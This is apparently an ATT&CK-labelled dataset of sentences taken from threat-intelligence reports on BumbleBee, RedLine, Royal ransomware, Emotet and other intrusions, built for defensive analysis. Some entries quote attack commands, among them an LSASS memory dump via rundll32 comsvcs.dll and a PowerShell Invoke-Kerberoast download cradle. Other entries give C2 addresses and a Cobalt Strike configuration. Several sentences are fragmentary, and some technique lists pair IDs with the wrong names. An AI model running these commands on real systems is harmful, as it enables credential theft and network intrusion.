cmd.exe /C", "labels": ["T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump 968 C:\\ProgramData\\REDACTED\\lsass.dmp full ProcDump Threat actors also dropped procdump.exe and procdump64.exe on multiple workstations remotely, dumped LSASS, and deleted them from the ProgramData folder:", "labels": ["T1003.001", "T1027", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\\ProgramData\\REDACTED\\ps.txt -append -force -Encoding UTF8 Right after the execution of Invoke-Kerberoast, DC logs show that multiple Kerberos Service Tickets were requested from the beachhead, with ticket encryption type set to 0x17 (RC4) and ticket options to 0x40810000, to service accounts.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "We can assert with high confidence that the recon stage was not fully automated, and threat actors manually executed commands and made a mistake in one of those.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "AdFind To enumerate Active Directory, the threat actors executed AdFind from the beachhead host, on three different occasions: The source of execution, the initiating parent process, was different on each occasion and the name of AdFind binary and the result files were different on one occasion, which could indicate multiple Threat actors accessing the network.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "This library seems to be a custom tool developed to assist threat actors with Windows local privilege escalation enumeration.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Option/Command Details (from the code) ‘v’ or “Vulnerability” “Search for available vulnerabilities for using LPE tools””Scans the operating system for vulnerabilities and displays a list of tools for a LPE” ‘m’ or “MicrosoftUpdates” “List of all installed microsoft updates””Displays a list installed Microsoft updates” ‘h’ or “HotFixes” “List of installed hot fixes””Displays a list of installed hot fixes” ‘s’ or “SupportedCve” “List of implemented tools for LPE “”Displays list of implemented CVE for LPE” ‘i’ or “SystemInfo” “Display information about current Windows version “ Below is the list of all of the currently supported (or implemented) CVE enumeration via installed KBs mapping: Threat actors executed this tool on patient 0 with low-level privileges multiple times, and again on a server with Administrator privileges.", "labels": ["T1078", "T1082"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The account used to perform this lateral movement was one of the kerberoasted service accounts.", "labels": ["T1078", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "We observed this beacon performing various techniques (Process injections in svchost process via CreateRemoteThread, Default named pipes, etc.) Command and Control The graph below shows all communications to malicious IP addresses made by the dropped payloads or processes which threat actors injected into: BumbleBee 142.91.3[.]109 45.140.146[.]30 All the active Bumblebee command and control shared a common server configuration in regards to TLS setup.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "0x00000000 0x000031e0 0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https 0x0002 port", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "0x001d spawnto_x86 0x0003 0x0040 '%windir%\\\\syswow64\\\\rundll32.exe' 0x001e spawnto_x64 0x0003 0x0040 '%windir%\\\\sysnative\\\\rundll32.exe' 0x001f CryptoScheme 0x0001 0x0002 0 0x001a get-verb 0x0003 0x0010 'GET' 0x001b post-verb 0x0003 0x0010 'POST' 0x001c HttpPostChunk 0x0002 0x0004 0 0x0025 license-id 0x0002 0x0004 0 0x0026 bStageCleanup", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "AnyDesk Remote Desktop Software User-Agent Again, those are quick wins to add to your detection capabilities to detect the usage of unauthorized remote administration tools, commonly used by ransomware operators AnyDesk configuration file and the network logs revealed that the id used was 159889039 and the source IP was 108.177.235.25 (LeaseWeb USA – Cloud Provider).", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "BumbleBee Case 13387 Reference: https://thedfirreport.com */ /*", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "fullword wide $s16 = \"api-ms-win-crt-locale-l1-1-0.dll\" fullword ascii $s17 = \"Showing error dialog for application: '%s' - error code: 0x%x - url: '%s'\" fullword wide $s18 = \"Failed to resolve full path of the current executable", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Checking 786/ Mob \" fullword wide $s18 = \"#%s. %s Door observed- lazy?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The emails exploit commonly encountered issues, such as transit infractions and taxes, to create a sense of urgency and legitimacy in their phishing messages.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The scripts leverage built-in Windows:registered: tools and commands, allowing the threat actor to evade endpoint protection platform (EPP) solutions, and bypass security systems.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "This suggests that the threat actor was beginning its tests, naming these files “demo” or “test,” upon decompiling the AutoIt script into a human-readable script that supports the timeline of this attack campaign.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 3 – \"multa_de_transito_502323.html\" attachment content The data blob in HEX decodes to a slightly obfuscated URL address which upon cleanup translates to: hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q. This URL resolves to: 162.0.232[.]115 IP address.", "labels": ["T1027", "T1140"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "It proceeds by downloading the “sqlite3.dll” file from “hxxps[:]//www[.]autoitscript[.]com/autoit3/pkgmgr/sqlite/” which will be required later during the Chrome password theft.", "labels": ["T1041", "T1105"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The domains utilized also heavily use redacted “whois” information and obscure registration data.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Conclusions Defending against LOLBaS executions requires a multi-layered strategy.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "First, organizations should implement robust endpoint security solutions to detect and block suspicious behavior and unauthorized execution of LOLBaS. Additionally, organizations should enforce the principle of least privilege, such as zero trust, confirming that users have only the permissions necessary to perform their tasks, thus limiting potential impact of LOLBaS execution.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "These have included low-effort capabilities such as spearphishing emails and third-party message services directed at both corporate and personal accounts, as well as exploiting vulnerable web-facing devices and remote connection capabilities.", "labels": ["T1190"], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "These TTPs were included based upon closed reporting on APT actors that are known to target think tanks or based upon CISA incident response data.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1559.002] System Services:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1546.003] Event Triggered Execution: Accessibility Features", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1548.002] Hijack Execution Flow: DLL Side-Loading [T1574.002] Defense Evasion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1027.003] Obfuscated Files or Information: Indicator Removal from Tools [T1027.005] Masquerading: Match Legitimate Name or Location", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1211] Signed Binary Proxy Execution: Compiled HTML File [T1218.001] Signed Binary Proxy Execution:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1218.011] Template Injection [T1221] Execution Guardrails: Environmental Keying [T1480.001] Abuse Elevation Control Mechanism: Bypass User Access Control", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Network Sniffing [T1040] Input Capture:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1110.002]Brute Force: Password", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1012] System Network Configuration Discovery [T1016] Remote System Discovery [T1018] System Owner/User Discovery [T1033] Network Sniffing [T1040] Network Service Scanning [T1046] System Network Connections Discovery [T1049] Process Discovery", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Domain Account", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1550.002] Use Alternate Authentication Material:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[TA0009] Data from Local System [T1005] Data from Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1071.002] Application Layer Protocol: Mail Protocols [T1071.003] Application Layer Protocol:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Symmetric Cryptography [T1573.001] Encrypted Channel:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Asymmetric Cryptography", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Install antivirus software on personal devices to automatically scan and quarantine suspicious files.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Exercise caution when: Opening email attachments, even if the attachment is expected and the sender appears to be known.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Change the default username and password of applications and appliances.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Implement Group Policy Object and firewall rules.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Follow best practices for design and administration of the network to limit privileged account use across administrative tiers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Many industries received these malicious campaigns, but the most impacted was the Healthcare and manufacturing sectors.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Recently this year (May 10, 2023), there was a RedLine campaign found by stormshield that used a malicious chrome extension that will download several malware like Smoke Loader and Amadey Trojan.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Figure 1 Using the URLhaus dataset, we can also learn that RedLine Stealer abuses several known legitimate file/code sharing and collaboration platforms for its campaigns.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "This loader then executes two more self-extracting archive executables that are responsible for decrypting a shellcode to load the Amadey Trojan and two instances of the RedLine Stealer malware onto the system.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Additionally, the loader also executes a .NET executable that is responsible for defense evasion.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "The information that this malware can retrieve may be sensitive and can potentially compromise the security and privacy of the affected system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "RedLine uses .NET", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Once the master key is decrypted, it will parse the AES IV (Initialization vector) and the encrypted password in the copied “Login Data” database file to decrypt it using AES GCM algorithm.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Description 5112ff1b75d9c33d10efafcbacdb4e2116280c1f5f3e6b6a64b44279997d96ee Redline stealer 8f45a89978ea72a7c3304c93cc56ac18087663ae33daa9f30f919652ba961175 loader eb8a15b1a42127970e7facc6133131dcc073a201419d8cc88c3c316819d1c2a2 Redline stealer afc48eabd725325d00324625eb9035c450d730c0b07d4d5a7246cbb1a3a443eb lr657198.exe 2a4193dcb95c7307e0a4f5586446c1c4adad17733a102a40d0b9227649191ff9 zifq8846.exe 5f9eff953d7ca49f594a864517dfdf37950a41693e53b79aa3a5c396613031bc kp356066.exe 52a52e958a0fef6aa14f27083f2d8675a20c2148be6456cacbda149411719b92 zigT1406.exe 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38 it532878.exe 5e82fc65d9dafc6da041e732597719aa9872bc82d8ff52c272277a1a49b8c9aa jr663319.exe Detections The Splunk Threat Research Team has curated relevant detections and tagged them to the RedLine Stealer Analytic Story to help security analysts detect adversaries leveraging the RedLine malware.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Related Ticket Search Dispatch Detects available indicators and routes them to dispatch related ticket search playbooks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "This blog enables security analysts, blue teamers and Splunk customers to identify RedLine Stealer malware by helping the community discover RedLine Stealer tactics, techniques and procedures that are being used by several threat actors and adversaries (APT).", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "By understanding its behaviors, we were able to generate telemetry and datasets to develop and test Splunk detections designed to defend and respond against this threat.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Cyber defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to RedLine Stealer malware attacks.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Feel free to put in an issue on GitHub and we’ll follow up.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "By: Ivan Nicole Chavez, Byron Gelera, Monte de Jesus, Don Ovid Ladores, Khristian Joseph Morales December 21, 2022Read time: ( words) Save to Folio Subscribe Royal ransomware may have been first observed by researchers around September 2022, but it has seasoned cybercriminals behind it: The threat actors running this ransomware — who used to be a part of Conti Team One, according to a mind map shared by Vitali Kremez — initially dubbed it Zeon ransomware, until they rebranded it to Royal ransomware.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "From September to December this year, we have detected multiple attacks from Royal ransomware, with the US and Brazil being the most targeted countries (Figure 1).", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "These phishing attacks contain a number that leads to a service hired by the threat actors.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Looking for accessible local IPs then trying to connect to ADMIN$ and IPC$ It checks for the number of processors in the infected system and uses it as a base for the concurrent running threads for file encryption, as shown in Figure 7.", "labels": ["T1082"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "If not, it rounds up the total size until it is divisible by 16.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For a file size that has been rounded-up, Royal ransomware will check if the size is less than or equal to 5,245,000 bytes or if the value is set to 100 (0x64), as shown in Figure 12.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Encryption process and calculation Its calculation of N bytes is as follows: X / 10* (Original file size) & 0xFFFFFFF0 where X is the value set before encryption X is either 0x32 (50) or 0x64 (100)", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Encrypted files appended with the “.royal” extension For each directory it traverses, Royal ransomware drops a text file named “README.TXT” that contains the ransom note (Figure 16), as well as an advertisement for its “pentesting services” that the ransomware actors will allegedly provide once the ransom has been paid (Figure 17).", "labels": ["T1083"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Their use of callback phishing to lure victims into installing remote desktop malware allows them to infiltrate the victim’s machine with relative ease.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Despite their “late” entry to the scene in September, the group already has ransomed multiple companies, and we expect them to be more active in the upcoming months.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "More details on Royal ransomware’s other capabilities can be found in Trend Micro’s Threat Encyclopedia.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.ToolPow.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "SM PowerTool e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 PUA.Win32.GMER.YABBI GMER d1aa0ceb01cca76a88f9ee0c5817d24e7a15ad40768430373ae3009a619e2691 PUA.Win64.PCHunter.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "THLOFBB AdFind ac49c114ef137cc198786ad8daefa9cfcc01f0c0a827b0e2b927a7edd0fca8b0 HackTool.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "A RDPEnable 2598e8adb87976abe48f0eba4bbb9a7cb69439e0c133b21aee3845dfccf3fb8f Ransom.Win64.YORAL.SMYXCJCT Royal Ransomware Binary cdd7814074872fc35d18740cdd4e8a5fefcfd6b457fde2920383fd5b11903fc5 Ransom_Royal.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "This is a multi-stage attack that involves sideloading DLLs, seven-day sleep routines, and additional payloads dependent on a now-removed GitHub repository for Windows-based systems.", "labels": ["T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The infection chain consists of several stages and involves sideloading DLLs along with a seven-day sleep cycle before the malware attempts to retrieve additional malicious artifacts from a now-removed GitHub repository for the Windows based infection.", "labels": ["T1105", "T1574.002"], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Preparing since February 2022Based on Cisco Talos investigation, it appears the infrastructure that supported this attack was being prepared as early as February 2022 when the domains were first registered.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Timeline of domain registration activity.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "On 16 August 2022, the Energoatom corporate website was the target of a DDoS attack.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "And in October 2022, yet another wiper attack, this one using the wiper dubbed NikoWiper, targeted the energy sector.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Figure 2: Fake document after macro execution VBA Code Analysis To complicate analysis and attempt to evade detection, the macro’s VBA code employs a few interesting techniques.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "This association is detailed in “word\\_rels\\ document.xml.rels” of the Office Open XML archive with the following line: “” As usual, the VBA code is set to execute when the document is opened via AutoOpen and Document_Open events.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "As mentioned, the macro begins by deleting the overlay image, which is internally a Shape object with the Name attribute “happy”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "It is used for storing arbitrary data that the document could programmatically access.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "To get to the payload data, it starts by enumerating all the custom XML part objects in the document and then checking if they have a node named “TwXfx”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Figure 4: Encoded binary payload Although the payload in this document is stored in a single node, the VBA code also supports an encoded payload split across several nodes, further complicating its extraction.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Payload Analysis Stage 1: OfficeTelemetry.dll Based on the filename of the payload binary, it tries to masquerade as a legitimate component of Microsoft Office.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Figure 7: Functions exported by OfficeTelemetry.dll Upon execution, it locates a packed and compressed payload in the .vdata section (Figure 8) of the memory allocated for the current process.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "The relevant API hashes are:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "The Teamserver C2 configuration extracted from this sample can be seen below.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Chrome/108.0.0.0 Safari/537.36 URIs:/wp-content/themes/pressa/js/avias.js /wp-content/themes/pressa/js/mobile_menu.js /wp-content/plugins/contact-form-7/includes/js/scripts.js /wp-content/themes/pressa/js/bootstrap.js /wp-content/themes/pressa/js/hovermenu.js /wp-content/themes/pressa/js/retina-1.1.0.js /wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js /wp-content/themes/pressa/js/custom-script.js /wp-includes/js/wp-emoji-release.min.js /maps-api-v3/api/js/52/1/intl/uk_ALL/util.js /wp-includes/js/wp-embed.min.js The major features of Demon include: Enumerate host and network info (users, groups, domains, shares, etc.)", "labels": ["T1059.003"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Using a combination of such techniques, threat actors may gain sufficient time to complete their post-exploitation commands upon successful infection before they are detected.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Although the document contains some indicators of a potential red-team exercise, e.g., the hardcoded path for persisting the payload on disk and use of a relatively novel payload encoding technique, it is also entirely possible that this could be a campaign under development as many red-team tools have been weaponized recently for malicious purposes.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "On the one hand, both red and blue teams can benefit from the availability of the source code to better understand how these techniques work, address detection gaps, and improve the cyber resilience of their organizations.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "This type of threats is usually delivered as email attachments.", "labels": ["T1566.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "If you believe these or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "This is a threat group attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "The lure document is a PowerPoint file that exploits a code execution technique, which is designed to be triggered when the user starts the presentation mode and moves the mouse.", "labels": ["T1204.002"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "= %d”\"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:87.0) Gecko/20210101 Firefox/87.0”\"User-Agent: “\"chunked”\"access_token”\"refresh_token”\"value”\"file”\"name”\"/v1.0/drive/root:/%s/update/%s:/content”\"/v1.0/drive/root:/%s/check/%s:/content”\"/v1.0/drive/root:/%s/check/%s”\"/v1.0/drive/root:/%s/check:/children”\"/common/oauth2/v2.0/token”\"login.microsoftonline.com\"\"graph.microsoft.com\"\"Content-Type: application/json”\"Content-Type: application/x-www-form-urlencoded”\"Content-Type: application/octet-stream”\"Content-Type: application/xml”\"client_id=%s&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=%s&grant_type=refresh_token”\"Authorization: bearer “\"DELETE”“GET”“POST”“PUT”L\"ntdll.dll”L\"secur32.dll”\"NtOpenKey”\"NtQueryValueKey”\"NtSetValueKey”\"NtClose”\"RtlInitUnicodeString”\"RtlFreeUnicodeString”L\"\\\\Registry\\\\Machine\\\\SOFTWARE\\\\Microsoft\\\\Cryptography”L\"MachineGuid”\"Accept: /\"\"Accept-Encoding: gzip, deflate”\"User-Agent: Microsoft skyDriveSync %s ship”L\"\\\\Registry\\\\User\\\\%s\\\\Control Panel\\\\International\\\\User Profile”L\"Recharge”\"RtlConvertSidToUnicodeString”\"WTSQueryUserToken”\"sprintf” C&C COMMUNICATIONS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "The malware is known to be deployed in-memory only and served as a downloader for the post-exploitation frameworks like Empire (as documented by Trellix researchers on early 2022 here).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "This enables the attacker’s BAT file to run in a new elevated process without the user’s approval.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "It uses the 7-zip archiver and then runs it with a ‘-pass’ argument that is needed for the malicious executable to unpack itself.", "labels": ["T1027"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "Figure 6: Detection in VirusTotal of one of the .img files.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "The malware authors have shown a creative and wide-ranging usage of signed, legitimate executables: the mounting of .img files by Windows Explorer, python execution by a signed interpreter, the extraction of encrypted archives by 7-zip, and automatic log-in using Sysinternals’ Autologon.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "Hence, a definitive attribution to the original group behind LockBit, or its affiliates, may be difficult.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "Once the attachment is automatically unzipped, a malicious application in the attachment is in the filesystem and triggers the registration of a custom URL scheme handler.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "This is a continuation of attacks on various Spanish legal entities following the unsuccessful referendum last year and the so-called “hurting of Catalan people” that this group claims the government is responsible for.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Despite the threat actors gaining access to the victim’s bank account information, it does not appear that the intent of the attack is financially-driven.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The attachment appears as shipping document that is awaiting to be opened, read through, and approved by the target.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The attachment appears as a .z file and will install the DarkComet RAT.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "This version of CEIDPageLock has VMProtect, which makes analysis and unpacking difficult and also redirects victims to the specific homepage when they attempt to access specific Chinese websites.", "labels": ["T1027"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "A ThreatStream account is required to view this section.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The objective of spear phishing is to gain an initial infection vector within a particular company’s or individual’s network.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "After three days of discovery and lateral movement, the threat actors exfiltrated sensitive data using Rclone before leaving the network.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "In a few weeks, we’ll have another Emotet report out from June, where the intrusion used similar TTPs and ended in ransomware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "More account discovery was then observed, with queries for Domain Administrators and a backup account.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "They pivoted to a couple of workstations on the network using Cobalt Strike and installed Atera and Splashtop with a different MSI installer.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "On the last day of this intrusion, the threat actors returned during their normal working hours and used Rclone to exfiltrate IT-related data from a separate server.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Timeline Analysis and reporting completed by @Kostastsale and @IcsNick Initial Access", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Thanks for sharing @proxylife!", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "A new file is then created in C:\\%USERPROFILE%\\AppData\\Local\\ with a folder that also consists of random characters.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Emotet injected multiple times into svchost to execute certain functions, including discovery commands.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} 